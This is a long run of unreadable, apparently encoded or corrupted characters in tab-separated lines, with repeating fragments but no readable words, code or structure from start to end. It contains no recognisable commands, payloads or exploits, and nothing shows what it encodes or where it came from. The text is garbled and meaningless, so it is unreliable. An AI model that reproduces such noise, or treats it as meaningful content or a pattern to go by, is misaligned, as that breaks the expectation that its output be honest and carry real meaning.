ZVj#5W`	BuVSn;{7D_\[cB 5nXUPW.R1UC]GQ<1R:QB	ZZO?6WL	BcuVSm/232_1[S4 6y1X9U~W.R	UA]yQ$1RfQw	fZY4jWL	R&3VSTq7D_F[[O tX9UTWRUh]eQ$RQt	 ZVl;JWW	5gMVSn?rU!_O[WR 5nX?UTW&R	Uk]GQ=3RdQZ	
Zb@TWa	7:3VSl?W13_\[eP 90XUTWfR2U@]GQ$ RgQR	$ZT5#JWQ	P:~V3SXwX_V[b7 5pX:UHWR1Uk]uQgRQY	bZVl34WO	R.OVSlv0`_Q[ci D1XU~W RU7]eQ 1RfQR	&ZY5IWQ	S OVSkD0X_P[S@ %nX9UHW&RUj]eQ$RQZ	$ZY73TWW	5VSlD33_v[X5 %DXUjWRUN]CQRQo	bZcP#jWS	o>~VSnsU!_F[S@ 5n7XUTWfR U5]eQ$3RdQo	$Zd_5Wa	AsVSn'J13_v[Pl =YXUbW&R2UB][Qb RfQh	ZURTWa	7~V3SV?t6k_1[cj `pXfUTW.RUk]GQdRQR	:Zd7|WW	i OV3SGj ka_5[[B R7XeUPW<R7U4]XQ%RQR	:ZaPfjWO	R.iVSD;40%_F[Wl =nXUrW`R7U4]9QdRQF	ZeAGW`	@NVSH51j_\[e5 527XeUPW<RUl]OQRQF	&ZeO?hWU	C }V5SD;WH1_o[O6 =AXUnWRUl]OQ3RfQh	 ZTP#JWW	2]VSV5E_v[WP %2XU3W&R	Uk]uQd3RfQZ	gZR40|Wc	4 OVSmq0W2_}[cO 6{XUjW:RUh]CQ'1R:QV	)ZVPIW[	6&VVSGb5E_v[Pl 9R7X.UnWR U4][Q0R QJ	 Ze_WP	Q:3V3Sz0331_@[W_ 27X-UrW`R7U4]9QdRQF	ZeAGW`	k>}VSEj0!_\[cj n7XUHWfR2UC]aQ'RdQ5	gZSj#jWL	QuVSm00%_V[eB 2zX UDW8R	Uk]yQb0R QJ	ZOPvWQ	S OV3SE;t6m2_4[[O 06XdU7W8R7UP]CQ6R?QZ	Zb@3HWS	V"iVSEV33_0[`R =YXUnW-RU7]eQ"RdQp	 ZM@#TWW	7:OVS0;20U_s[S@ azXUHW.RU7]CQb RdQo	$Zd_'JWX	V"iVSnD6k!_1[c@ %HXUPWfR7UN]LQ.0RQZ	eZSi5W`	@MV SVj z_\[W_ 21XUHW`R7U5]CQ'3R.QJ	:ZM@BWW	5sVSl?SF_\[`R 2yXULW RUj]eQRQ4	cZZBTWa	4 oV3S2sG_r[e5 %lX UDW8R0UP]eQ1RgQR	:ZSl;hWM	]2_VSEV0U"_5[NO yXU3W:R7U^]CQRQI	$ZSAGW`	k>VVSmnS7Ed_F[Wl =OXUrW`R7U4]9QdRQF	ZeAGW`	A:]VSV5E_r[dk F6XUjWRUP]KQaRQR	 ZQl?TWa	>MVS2D0X_O[Rl 2zX8U\W.R Ul]OQfR QJ	
Zbj#hWU	BcuVSGD1z_\[X6 5lXUjW8R7UN]eQ 1RgQR	
ZbO4WO	QOVS2o3 U_Q[O@ O1X8U\WR	Uk]uQ"RQB	eZd@#5W`	Q2sV3SD;232_l[e4 l1XU\WR U7]eQ  RdQx	ZUiIWP	@}VSj;k6m=_G[S@ zXU3W&RUQ]CQfRdQp	 ZM@#TWW	5&OVSlO12_r[`P 5LX ULW8R7UP]CQ3RfQh	 ZZOIWS	Q:kVSl00%_F[Wl =nXUrW:RUB]fQ 1RdQo	cZZB?HW[	6&VVSG/BF_[N@ %3XUbWRUj]CQ3ReQk	$ZdP#5W`	BuV6SFW1z_G[eP nXUjWR2U@]\QbRQR	!ZVR3hW[	h5VSn8vX_Q[dP ayXUPWRUl]\QbRQV	)Za_?IWg	h.OVSmfq7H1_i[SB 5lX>UDWfR	Ul]aQ"RdQ5	gZQl4Wg	okVSjjE-_o[dk F6XU?W R2UC]4Q$6R9QZ	 Zbj#JWP	BsV6SH8v6m2_0[`_ 90X9UTW&R7UA]uQ=3RdQ5	)ZVPFWO	@>VV6SD46j_l[T_ lXU~WRUC]fQ 6R9QZ	:ZdOjWW	h.3V3S2c2U_W[dB 5l7XUvW&R2UN]aQ3RfQZ	ZU_0|WU	C5V6SDj7H1_p[O6 =AXUnWR2UN]OQ&3RfQh	fZVP#hWT	C3VSl?W13_[X4 9nXU\WRU7]CQbRQZ	ZVPFWO	@>VVSl?16m=_V[cB z6X?UTW:RUk]4Q< RQB	)ZN6;GWW	]>uV3SD;232=_r[Ri RXU3W&R7UA]uQ=3RfQh	
ZeR;hWa	PsVSkD7G_U[cA 5L6X.UjW:R7UQ]4Q"3RgQR	 ZY5#jWU	M NVSm7E_p[dO l6XU@W`R	Uk]yQ RfQZ	:ZbjfvW[	7uV3SG/k322_4[dR 5lXUTWRUh]HQb7RQc	cZa_?6W`	63V3SWnt33_v[X5 %lXUPW;R7U6]aQg6R9Qh	 ZbB35Wa	@ouVSk;KU"_r[[O 27XeUPW8R U4]CQaRQR	&ZeAJWU	M5V6SFrU_1[X5 YXUTW.RU7]eQd R>QN	gZbOhWW	k:sVSlSD_r[P6 vXUbW=RUC]GQ<7RQd	Zbj#5W`	BuV6SF?03H1_O[UP %D1XULW&RUh]eQ RfQZ	 Za_6WQ	P:NVSG7E_p[dA LXUDWfR	Uk]uQ0RQR	)ZR@3JWW	6 uV3S0WU_r[RA A6X:UnW.RUC]_Q<RdQt	
Zd5hWg	hsVSn'O0`_i[[O 2XUDWfR	Uk]uQ0RQR	)Za_?6WX	POVSjQ z_l[UP %lX ULW&RUk]XQbRQR	
ZU_BWP	R:sVSl41z_3[XP `lXU~W:R
Um]GQ<3RgQQ	fZSl;BWg	k3VSW0W_0[`R 5lX U@W.RUk]GQ RQZ	ZOPnWU	C5VSkq0T_V[d_ y1X9U@W R2UB]KQ$RfQJ	ZZO?6WL	BcMVSn;W1z_1[[O 2XUHW`RUQ]CQfRgQV	)ZVPFWO	@>VVSWb511_@[[@ 5OXU3W8R U6]aQ3RdQt	
ZUP3JWX	]23VSmD 3_0[L4 37XULW:R Uj]GQ RfQR	ZMR;TWW	_VSlr0`_1[Ri nX?UvWfRUh]eQ ReQB	?ZRB;5Wa	BMV6SF4U%_}[eP nXUjWR2U@]\QbRQR	
ZY5?6Wa	7:3VSm#W 2_l[cj `pXfUTW.RUk]GQdRQR	:Zd7|WW	i OV3SGj ka_5[[B LXUrW:RUB]fQ 3ReQk	cZZB?HW[	6&VVSGb5E_s[T_ 9MX>UDW&RUR]\Qc0RQ5	ZU_5W[	kiVSmj1n_\[eO lX9U~WRUh]eQ=1R:QV	)ZdPIWU	M:}V3SE;rV>_r[eR z1XUHW R2UB][Q&RQo	cZZO4WU	M5V6SFr32_1[S4 6z5XeUPWR	Uk]GQ'0RQg	+ZbO0}WO	B:3VSUV0U"_5[NO yXU3W:R7U^]CQRQI	$ZSAGW`	k>}VSEj0!_\[cj nXU\WRU5]eQb1ReQk	cZZO4WU	M5V6SFr32_1[S4 6zX UDWfR2UB]KQ$7RQE	$Za_?KWS	iMVSks7H1_p[O6 =AXUnWRUQ]uQRQB	)ZOB;hWS	POV3SD<{13_r[Pj 527XfUjW`R	Uk]yQ RfQZ	:ZbjfvW[	7}VSm 330`_O[R_ 27X.UnW-RU7]eQ"RgQV	)ZVPFWO	@>VVSWb511_@[[@ 5OXU3W8R	Ul][Q R QN	gZe__WL	BNVSG7E_p[dA D6XeU@W`RUP]GQbRQZ	fZd5#jW`	Q:kV3SF4X_r[UP ay1XUPW.R U6]HQe3RgQR	 ZY5#BWW	7.}V3SDS l_[[O 2XUTWfR2U@]GQ$3RfQZ	gZR40Wg	h.}VSG#r12"_0[X4 lXUvW`RUR]OQ'7RQF	ZZB?HW[	6 iV3SXq7G_w[WR 5nX9U3W R1UA]CQ<3RgQR	 ZY5#jWg	iOV6SD;t7D_r[`_ 9MX8U\W RUB]_Q1R:Qd	%ZZB?HW[	6&VVSGb5E_s[T_ 9MX:UjW8R	Uh]aQd3RfQh	'ZOP5WT	]:MV3SHO0T_1[W_ OX U\W&R7UA]uQ=3RdQZ	ZbO5WO	C@VSHj1n_\[eO lX9U~W&R	Uh]eQ7RQN	eZbOnWc	7.}V5SD;k6m2_4[`i 6{XUjW`RUS]GQ<RQx	9ZdP34Wa	7:3VSm#W 2_l[cj `pXfUTW&R7UA]uQ=3RdQZ	ZbO5WO	B@VSjj1_0[dP 527XfUjW`R	Uk]yQ RfQZ	:ZbjfvW[	7uV3SG/k322_0[L7 53X:UbW`RUR]OQ'7RQ1	ZVl;hWS	V"3V3S2c2U_W[dA A6XULWRUN]@QcRQZ	ZRB35WM	Q}V3SHB3_[WP @XUnWRUQ]8Qc1ReQB	ZZ@3hWa	P5VS3?r30:_r[e_ 37XULW RUh]}Q1RgQR	 ZQl;_WT	RcOVSm#W 2_P[TR RXU3WRU6]aQ'3RgQR	 ZY5#lWS	h~V4SEj7H6_5[cj %36XUHW&R2U@]eQf3RQd	ZTP#BWg	AuVSn?E 2_v[`_ 0XUjW-R7US]aQ-7RQd	&ZN5NWL	]OVS0;q1_0[dP 52X.UnW8RUN]CQRQI	$ZSAGW`	k>}VSEj2_}[SO O1XU~W&R Ul]OQf6R:QR	$ZMjfBWg	n&}V3SG/BV9_S[Rl 2yX.UPW&R7UA]uQ=3RdQ5	fZc4?6Wa	7:3VSm#W 2_l[cj `pXfUTW.RUk]GQdRQR	:Zd7|WW	i OV3SGj ka_5[[B R7XeUPW<R7U4]XQ%R QI	fZQk3HWS	isVSDD1_s[[B 9NXgUvWRUA]8QcRQZ	%ZU_?KWW	k:kVSn;232=_q[NP 3XUjWR7UN]OQ0R QN	gZV_IWS	QOVS116m=_V[cB 9tX9UTW&R2U@]eQRQZ	!ZVR3hW[	k3V3S1{7H1_[`_ 9n5XeUPWR	Uk]GQ"0RQx	9ZZO|W[	k2MV3SG2 j_V[WR 53XfUTWRUl]_Q< R8QB	)ZY7TWa	7~V3SV?16m=_V[c@ %n1XUbW`RUj]eQ1RgQR	 ZVR35W[	7@VSjj l_[WP 0XUrWR2U@]eQRQl	ZVjfHWL	@CVSGnjE-_o[dk F6X:UnWRUk]4Q7RQ1	 ZePhWg	]2uV6SGg4X_S[dR =37XU7W RU5]eQ1RdQt	ZNi5W[	h:sV6SDrH_F[[O 90XU3W&R7UA]uQ=3RfQh	
ZdP?6WQ	PguVSn0x30_1[P7 5n6XUjWfR7U6]aQ1R:QV	Zc4?6W`	o2kVSjN322_4[dR 5lXUnW-RUh]HQ%RQt	ZRO?6W`	o2]VSV5E_v[Pl 9R7X.UnW RUj]CQ1RgQR	:Zd@3JWg	C&sVSm#41z_3[e4 DX.UDW<R7UB]aQ3RgQR	 ZY5#JWg	]3VSjrT_\[WR 5lX:UHW`R7U7]GQ-7RQd	)Za_?hWc	4 OVSmt0W-_o[[O zX:UbWR7UA]GQd R>QJ	 ZVR35W[	7@VSjj l_[X7 R7XfUTW-R7UP]eQg6R9Qh	 Zb@#hWg	@23VSl?W13_V[WR 53XfUTWRUl]_Q< R8QB	)ZVP6WX	V"nVSm/Q30-_F[Wj `NXUTWRUA]CQaRQR	&ZeABW`	43VSUVW_G[J5 5RX UDW.R Ul]_Q<RQx	9Zek@W`	k>VVSl?16m=_V[cB z6X9UvWRUQ]CQaRQR	&ZeBGWO	@>VVSj7E_v[Pl 9R7X.UnWR U4][Q0R QJ	 Ze_WP	Q:kV3SXq0X_[TR 9LXUTW8R Ul]\QcRQZ	ZR@fjWW	i uVSj4X_3[cB 5hXU~W.R7UQ]XQ%RfQZ	 Za_IW[	okVSj4 2=_P[NP 31X8U@WfRUh]OQ= ReQB	?ZRB;5Wa	BMV6SF4X_0[`P 2X.UDWRUj]CQ$RdQ5	gZSihW[	n&5VSn?V1_i[SB 2zXUvWR	Uk]uQ6R?Q0	$ZdR|Wg	R.sVSknU 2_F[TR =n1XUPW.R7U|][Qg R.QN	gZT7?JWX	P~VST51j_\[cj 5HX>UDW&RUR]\Qc0RQ5	ZU_5W[	kiVSn?`0U_w[d_ z1X:UbWfRUj]@Q RQR	
ZVj#5W`	BuVSn;{7D_\[Wl :zXUbW RUh]eQ-7RQd	&ZN5NWL	PsV6SH'p6m2_4[[@ nXU\WRUl][Q= R.QJ	$ZbjIWg	h.OVSmJW_l[cj 5RXUjW:R7UQ]4QRQl	 ZePhWg	]2uV6SGg4X_S[dR =37XU7W RU5]eQ1RdQt	ZNj#hWM	]5V6SFrH_F[[@ %nX9UHW&R7UA]uQ=3RdQZ	eZc4?6W`	o2kVSjy32=_V[cB =nXUTW.RUk]GQ=3RfQh	eZM@#jWS	Q>~VSns1_0[L@ %YXUnWR	Um]KQ0R QI	fZY4WW	6:OVSj07l_i[S@ `lX8UPW&RUl]\QbRQR	gZVP$|Wg	QkVSjj1n_\[ci D1XUHWfRUl]_Q<RQZ	
ZV_5W[	n&MVSj;26m=_l[UP RXUTW`R7U|]_Q"3RgQR	 ZY5#lWM	S ~V3SXD33_v[X5 %DX UnW-RU7]eQ"RdQp	ZVl;IWX	V"3V3S2c2U_W[dO RXUTW:RUB]aQg R.QN	gZT53NWS	iMVSn0 2_P[J4 906X>UbWRUP]XQb1R:Qc	gZR@#jWL	RckVSl?W10_r[RA =AXU~WR U5]}Q$6R9Qh	'ZRB?TWU	M:sVS1?W z_5[S@ 5NXUTW`RUk]DQ.0RQh	ZZB?JWW	2]VSV56m=_q[T_ D1X?U7W&RUm]KQ7RQt	ZU_hWg	iuVSlWE_o[dk F6X:UnW`R U7]CQ1RfQZ	eZVj#hWT	@iVSlv13_v[U7 9RXULWfR U7]CQ R.QJ	
ZbB?HW[	6&VVSGb52=_l[X4 zX>UbW8RU@]eQ6R?Qt	ZSl4|WU	B.iVSnjX1_Q[NQ =AXUnWRUP]KQc6R9Qh	'ZU_?IWW	4}VSn'V32_P[WQ 5@XUnWRUQ]uQ3RgQV	%ZUPBWW	62uV6SE;E 2=_r[L@ azXU@W`R7U6]XQc R8Qk	gZSi|W`	h~VSGnt12_0[Pj azXU3W&RUk]8QRQt	9Zek@W`	k>VVSl?B6k!_Q[Rl 2zXU~W8RUR]OQRQp	ZL4hWg	P@VSj{ 2_o[ci n1XULW RUl]aQ"3RdQY	+Zc73vWW	h:iVST0U_r[RA A6XUjWRUP]KQcRQh	:ZMjfjWS	ikVSj?01n_i[J4 9OXeU@W.R	Uh]}Q 3RfQZ	ZO@36WX	S oVSjHE_r[dk F6XUTWRU5]eQ6R9QZ	:ZeP#TWg	]:}VSH?40`_@[[B =n6XUDWR	Uj]_Q<RdQw	cZZA?BWc	6:OVSFCn_s[SB zXU3W&RUh]CQRQx	9Zek@W`	@osV6SEnr6m_v[cj %LXUTW R2UN]bQ 6R9Qg	fZa_?6WS	huVSm#4 1_[WP @XUnWR2UB]KQb6R>QJ	:ZM@#BWg	QNVSn213_r[OR 9RX UDWfRUj]eQ=3RdQ5	)ZOP34WQ	PHV4SGnDT_0[cj %L7XfUHW`RUl][Qb RfQh	ZZ@3HWL	B}VSn;B0T_0[cj %L7XfUHW8RUC]fQ.0RQh	 ZMP#JWa	:iV3SV?B6k!_Q[Rl 2zXU~WRUk]9QdRQF	Ze@#5WM	]2OV6SG#V z_\[cO 2XUPW<RUl]OQRdQ4	gZVj#jWL	RckVSmx0W=_F[dk FXUnW&R2U@]GQ3RfQh	 Zd@TWP	BcsV6SH8v6m2_0[`P YXUjW8RUC]aQ$3RfQZ	 ZM@#5W`	BuVSnWU!_o[dk F6X9U3W RUl]aQ'RQZ	:ZaR;IWg	n}VS1?20`_[[@ @XUnWR2UA]uQgRQZ	!ZVR3hW[	nuVSn;W1z_\[UR 9RXU\W.R	Uk]yQ RfQZ	ZVR?JWW	2]VSV5E`_\[eO YXU?W&R7UB]aQ3RfQg	cZU_?hWM	PuV3SG/k30`_F[[O 27XeUPW<RUl]OQRQF	&Zbjg|WM	R:MVSmqU!_C[NR n5XgUbW&R2UN]OQ"RQB	
ZdOTWS	nuV3SG/k30_3[WQ 53XU@W`R	Ul]aQ3RgQR	 ZY5#JW`	i oVSjHE_v[c5 %31X9UHWRU5]}Q$RQB	
ZdOTW`	o2]VSV5E`_\[Rl 2zX UDW&R2UB]XQ 1RdQ0	+ZUR;hWO	R}VS1r0T_v[dR 5n1X8U@W RUh]eQRQB	
ZSl4|WL	QuV6SDv131_p[O6 =AXUnWRUR]OQRQh	 ZdB?hW`	@g}VSmvF_\[Rl 2zX UDW&R2UB]XQ 1RgQd	&ZVQ36W`	7csVSj;qW_l[`R =O1X?UHW.RU7]eQdRdQ5	
ZSl4|WL	QuV6SDv10d_o[SB AXUnWR2UA]yQ 1RgQQ	+ZUP#jWa	BcNVSn213_r[OR 9RX UDWfRUj]eQ=3RdQ5	)ZOP34WQ	S:}V3SG4W_P[SO 0XgUDW&R	Uk]zQ RQF	!ZVR3hWT	BNVSmc2U_W[dB 5l7XUvW&R2UN]aQ3RfQZ	ZU_0|Wa	@&MVSm/V 3_[X4 6z5XeUPWR	Uj]_Q<RQx	9Zek@W`	@osV6SEnr6m_v[cj %LXUTW&R	Uk]uQd7RQd	Zbl35WM	Q}VSnv6l_p[O6 =AXUnWR2UN]OQ&3RfQh	 Za_IW[	oNVSn213_r[OR 9RX UDWfRUj]eQ=3RdQ5	)ZOP34WQ	S:MVSn?2322_4[L@ {5XeUPWR	Uj]_QRQZ	 ZT4hWM	]2MVSFq30_[S@ %36XUHW&RUj]CQ'0RQg	+Zb@hWa	B:uVSFq30_[S@ %36XUHW&RUk]8Q<1R8QB	ZaPfjWO	R.3VSTs7D_l[ci DXUTWfR2U@]GQ$ RgQR	$ZT5#JWa	73VS2#4 0!_l[cO 9MXUrW`R	Ul]aQ3RgQR	 ZY5#JWS	hOV3SG{ 2_v[`P %L7X.UjW:R Uh]KQRQx	9Zek@W`	@osV6SEnrW_l[OB =R1XUjW.R	UN]eQbRdQ5	ZZB;hW`	AOVSlj0"_5[[A 936XUHW&RUj]CQ R.QI	bZM@#jWL	Q3V3S0j 3_r[U5 %L7X.UjW:R7US]aQg6R9Qh	 Zb@g|WM	R:MVSmqV_[X4 6y5XgUjWR U4]GQ$7RQ0	$ZK4?hWg	iOVSF?r 2_\[UR y1X>UDW.R7UQ]8QRQI	$ZSAjWc	4}V3SD1 z_0[L@ %DXU@WRUA]CQaRQQ	$ZVi|W[	h:uVSFr32_v[L@ %36XUHW&RUR]OQRQF	ZbB3IWg	h.5V6SGfDF_\[dP ayXUPWRUl]_QRdQw	$ZRO0|WL	R.MVS1?W 2=_P[[B 9LX.UbWRUP]KQc7RQY	fZQj#5W`	BuV6SDv6m2_}[c@ YXUTWR	Uk]yQ RfQZ	:ZT7;hW`	@ouVSkt z_Q[eO lX9U~WRUA]CQaRQR	&ZVi6WU	A5V6SDrV>_r[SO yXUbWR	Ul]fQ 6R9Qg	+ZbB?TWX	Rc_V6SG413 _r[cl 5lXUjWR	Um]_Q7RQZ	
ZeQ3JW`	7c5VSj<y10%_W[cl 5l6XUjWRUj]eQ$RQV	
ZTP#jWg	iOV3SE0E-_o[dk F6X9U3W RUh]OQ6R9QZ	:ZT74|WL	Q5VSGo4W_r[e4 37XUPWRUC]aQ0RQg	bZMPfBWg	A 3VSTs U`_F[[A 93X:UPW.R	UA]GQb1RfQR	&ZZ@3HWL	M2~VSE;70U_1[Ri R7X.UjW:R Um][Q=7RQB	$ZQi5W`	B3VSTs7l_F[[B )l7XUPW`RUR]LQ%7R?Q5	ZZBbnW[	h:uVSn40%_q[X4 6tX U@WR U4]8Q<RdQw	cZM4TWQ	SMV6SE<y1z_G[[@ 5NXUTW-RUC]aQ3RdQZ	ZM@#jWO	] uVSmj0"_5[O_ RXUbW RU7]eQ 0RQR	:Zd4?KWO	F"AVSGnk7D_4[Wl =3X?U?W R7UA]GQd7RQ0	$ZK7HWa	R3VSF?r0T_l[U5 `3X:UbW`RUR]LQ% RQx	?ZVPFWO	@>VV6SG#V13_}[TP %l7XU3WR	Uh]OQd1RgQR	$ZNR?TWQ	Q5VSl?k30`_[NP 52XUjWR	Ul]aQ'3RdQ5	ZdOjWW	h.kVS0;4131_Q[X5 `D1X>UDW8R	Ul]KQ 3RfQZ	 ZdOjW[	hckVS1?W 2=_P[[B 9L6X>UbWRUP]KQc RfQh	$Zaj#jWg	S uVSlS7D_r[Rl =n6XU\WR7U^]CQ=7RQJ	!ZVR3hWT	BNVSG7E_v[U5 `l XfU~WfR	Uk]uQ"3RdQ5	ZZ@#hW`	M23V3S0t 3_0[L4 n7XUDWfRUA]9QdRQF	ZeB3jWa	B&uV6SG/q10!_l[LB 9n7XUbW.R7UN]LQfRQB	ZMOBWU	BuVSn43_O[T7 5OXU~W.R7UP]CQg6R9Qh	 ZbO?6WS	hOV3SHQ30`_[NP 52XUvWRUh]eQg6R9Qh	 ZbO?6WS	hMV3SHkW=_P[[@ 5NXU3WRU7]CQg6R9Qh	 ZbOTWQ	Pg5VSlr7Ee_r[J7 NXULW-RUC]aQ'3RdQZ	ZY4jWL	R.3VSTs U`_p[WP @XUnWR2UB]KQb6R>QJ	:ZVR3nWW	MVSH;412_1[dQ 5LXUTWR	Uk]zQ  RfQZ	ZZ@3HWL	BRV3SG130_1[cB 531X9U~W8R	Uk]yQ RfQZ	ZRB?hWc	OVSlB0U_\[TR 9L7XfUHW`RUl][Qb RfQh	ZZ@3HWL	BMVSn233_v[X5 %L7XfUHW`RU5]}QRgQR	ZZ@3HWL	CAVSmnk7D_4[cB :zX8UPWR7U@]_Q<RdQw	cZUl?JW`	o2]VSV533_0[e7 5l5XeU\WRU7]eQ$1RgQV	ZVPFWO	@>VV6SG#V13_}[TP %l7XU3WR	Uh]OQd1RgQR	$ZNR?TWQ	Q5VSl?k30`_[NP 52XU~W&RUm]KQ RfQZ	$ZTR;TWW	5oOVSl?W33_v[c@ %R7XeUPWRUA]CQaRQR	 ZT5fjWV	7.5VSm/t30`_@[[@ `l1X>UDWfR2UB]aQ'7RQd	ZZ@#5W`	BuVSnWU_r[RA lXUjWfRUk]GQ6R9Qh	
ZbB?TWQ	Rc5VSmj1l_\[`R 2yXULW RUj]eQRQx	9Zek@W`	@osV6SEnr6m2_4[Pl =DXU@W RUh]eQd0RQZ	&ZU_0WU	C MVSlr7Ee_r[J4 6t1X>U@W.R	UN]eQ$ RfQR	ZR@#5W`	BuVSmnS32_l[X7 5OXgUjWR	Um]_Q7RQd	ZZB35Wa	@ouVSn43_O[Rl =D1XUTWfR2U@]GQ$7RQd	ZZB;5Wa	BMV6SFj0"_5[cl 2yXgUTWfR2U@]GQ$1R8QB	ZT_BWT	R.3VSTs U-_i[Pi RXUjW&RUm]aQ=6R9Qg	bZbO?KWO	F"AVSmbWU_r[RA D6XeU@W`RUP]GQRfQ5	 Za_WU	B.sV6SED7G_1[d_ DX8U\W<R7U5]CQRQI	$ZSABW`	43VS2/r0U_i[Oi 906X>UbWRUP]KQc RfQh	$Zaj#jW`	B:}VS2vG_r[e4 37XUPWRUC]aQ'0RQg	+ZbO?KWO	F"3VS2/r0U_i[[O RX ULW R2U@]DQ/3RdQ5	)ZOP35WU	M:MVSlS7D_p[[O RXU\W.R	Uk]yQ RfQZ	:ZT7;hW`	@ouVSmbk7D_3[WQ 53XUTW:RUB]\Q RQ5	&ZN6;GWW	]>}VSEj 22_0[`R =nXU\W`R7U4]9QdRQF	ZeB3jWa	B&uV6SG/q10!_l[LB 9n7XUbW.R7UN]LQfRQB	ZaPfjWO	R.3VSTs7D_}[Wl 5hXU@W`R7U6]GQ<RQR	$ZY7;jWT	BiVSDt0U_\[cB 9RXU?W`R7U6]GQ" R.QN	ZdOjWW	h.OVSl?W 2=_P[W_ RXU7WfRUj][Q$7RQ0	$ZK74W`	i oVSjHE_s[T_ 6zXUjWRU@]KQ<RQx	9Zek@W`	@osV6SEnr6m2_4[Pl =DXU@W RUh]eQd0RQZ	&ZU_0|WL	]:OV6SFj0"_5[[@ %n7XUPW`R7U6]GQ<RQR	$ZY7;jWT	BiVSDt0U_\[cB 9RXU3W`R7U6]GQ" R.QN	ZdOjWW	h.OVSl?W 2=_P[W_ RXU7WfRUj][Q$7RQ0	$ZK74W`	i oVSjHE_s[T_ 6z1XU\WRUk]XQe7RQd	&ZN6;GWW	]>OV6SHp32=_v[`_ OX>UDWR	Uh]OQd1RgQR	$ZNR?TWQ	R:sV6SDr7Ee_r[J4 6z1XU\WRUk][Q<1R8QB	ZMjfjWW	ouVSn43_\[dR =nXU@W`RUC]_Q<1R8QB	
ZVihWc	4 OVSmQW_v[U5 %L6X9UHW`RU5]}QRgQR	ZZ@3HWL	M2NVSmc2U_W[dO RXUTWR2UA]uQ'RQZ	
Zb@4Wa	4 oVSjHG2_}[d_ zX8UPWR	U@]@Q/RQB	fZe_nWg	M:_VSkj 3_r[U5 %L7X.UjW:R7US]aQ6R9Qg	bZMR;hWT	B~VSE<x0W=_V[LP %L7X.UjW:R7U@]eQbRQZ	ZU_0|W`	h~VSF?V12_w[WR 5nX?U?WR	Uk]uQ3RdQ5	&ZY40Wg	i _V3SFj0"_5[e7 9L6X>UbWRUP]KQc1ReQB	ZZO|W[	n&OVSjtX_[WP @XUnWR2UB]KQb6R>QJ	:ZVR3nWW	MVSH;412_1[dQ 5LXUTWR7UN]OQ3RdQ5	)ZOP34WQ	PguV6SH'V 3_G[[O RX ULW R2U@]DQ/3RdQ5	)ZOP35WU	M:MVSlS7D_C[[O RXU\W.R	Uk]yQ RfQZ	:ZT7;hW`	@ouVSmbk7D_3[WQ 53XUTW:RUB]_QdRQ5	&ZN6;GWW	]>}VSEj1_0[Pj 527XeUPW<RUl]OQRQh	!ZVi5WO	]OVSj<v30_i[TR 9NXgUvWR	UB]OQ 1R>QJ	:ZaP#TWW	7:uVSk<v6m2_}[cA =AXUvWR7UA]GQ=1R.QJ	:ZVP#4W`	43VSnJW_v[Wl 526X.UjW:RUk]4Q<1R.QJ	fZbB3hWS	hNVSl2U_W[dO l6XUTWR0UQ]uQ R>QF	ZeB/4W`	63V3SV5D_0[VR &tXUPW8R U4]CQaRQR	&ZeOjW`	S5VSn'O30_G[T_ 9OXgUbWRUm]aQd0RQg	$ZVPTW`	]kVSm/O1z_l[LB 9RXULW RUh]eQb RfQh	:ZM@#BWX	S NVSl2U_W[dA A6X9U3W.RUh]aQ$ RfQZ	ZOPhWL	R.MV3S1[D_r[T_ 6{1X8U@W&R2U@]GQ=1R9Q5	$ZQihWW	i sVSnv6m2_0[`_ 906X>UbWRUP]KQcRQF	&ZbjfJW`	:kVSF?O6m_l[X7 5RXUrWRUh]aQ$ RfQZ	 ZcA3hW[	n&MVSl?rF_\[Pi 3XUTW.R7UN]OQ1R8QB	
ZQjfBWg	M:OV6SGv30_i[WP @XUnWRUQ]8Qc RdQ5	ZZAIWg	CuVS3?4 0`_Q[e7 =lXUTWfR	Uh]OQRQB	)ZaR?TWa	RcsVSmowV_O[UR =l1X?UvW&RUh]}Q7RQd	%ZNjTWQ	]sV6SG/k7H1_p[WP @XUnWRUQ]zQbRQF	ZeAJWa	C }VS3'rV_@[ci O1XU\W&RU5]eQb RdQ5	&ZRO?4W`	P3VS12 z_O[e5 `lXUTW:RUk]4Q<0RQ1	Zc7<|W`	B:uVSj<{1z_V[UQ 5D1X>UDW&R2UB]OQ RQx	 ZSl3jWS	R:uVSn;r7Ed_o[dk F6X:UnW8R2UA]uQ1R.QJ	:ZMB?TWU	@sVSn?4 2=_l[L@ %DXUPW8RUA]<QgRQB	
ZQjfBWg	M:OV6SGv30_i[S@ 5L6XfUTW-RUm][Q RgQR	:ZM@IWg	osVSn0vV>_5[SO 90XU~WR
Ul]aQRQA	fZVO4WQ	ROVSnqU!_0[LO 9MXgUvWRUA]8Qc3RgQQ	fZd73jWg	R.sV6SES0U_1[e5 `D6X8U@W`RU7]eQRQZ	 ZbO?KWO	F"3VSG132=_3[LR =nXUTWR U5]eQ 3R.QN	gZeR3JWa	4 NVSG7E_p[dB 5l7XUvW&R2UN]aQ3RfQZ	ZU_0|Wa	@&MVSm/V 3_[X4 6y1X8U@W&R2U@]GQ=7RQd	&ZN6;GWW	]>VV6SD46j_l[WR 5hX.U@WRUN]aQb1RfQR	gZeQ3JWP	BMVSm v 2_P[[@ 5NXUTWR U5]eQ 3R.QN	gZeR3JWa	73VSj4 2=_P[[@ 5NXUTW.R U5]eQ 3R.QN	gZeR3JWa	73VS2#4 0!_l[cO 9MXUrW`R U7]CQd R.QJ	Zd5fjWO	B3VSjrT_V[WR 53XUTW:RUB]_QRQ5	&ZN6;GWW	]>VVSmnS7Ed_V[Pj 527XeUPW<RUl]OQRQF	 ZT5fjWV	7.5V6SDBU_G[TP `D1XUbW RUk]8Q7RQN	
ZVR;hWW	h.3VSTs7D_Q[d_ 37XU?W&RUj]eQ$1RgQV	)ZY40|WL	]:OV6SFj0"_5[[O n7XUbW R2UB]KQ$RQZ	:Zd4?6WS	hMV3SHkW=_P[[@ 5NXU3W.R	Uh]OQd0RQg	+ZbB;hW[	k2NVSmc2U_W[dA lXUjWfRUk]GQ RfQR	ZMR;TWg	]:}VSH?40`_@[[B 537XU?W&RUh]@QbRgQV	ZTR;jWg	@o5VSkj1l_O[Rl 5n7XU7W.R7U5]@QbRgQV	ZdR;TWa	73VS10012_P[[@ 5NXUTW.RU4]GQf RfQh	 ZMO?6WS	hMV3SHkW=_P[[@ 5NXUTWRUh]aQ$0R QN	:ZM@#JWa	4 NVSG7E_p[dO RXUTW:RUB]aQRgQV	)ZVPFWO	@>VVSW/1 z_1[U5 %3XU\WRUC]_QRQI	$ZSABWO	M&VVSG/1 z_1[U4 nX:UjW&RUN]aQb1RfQR	gZeQ3JWP	BMVSm v 2_P[[@ 5NXUTWRUh]aQ$0R QN	:ZM@#JWW	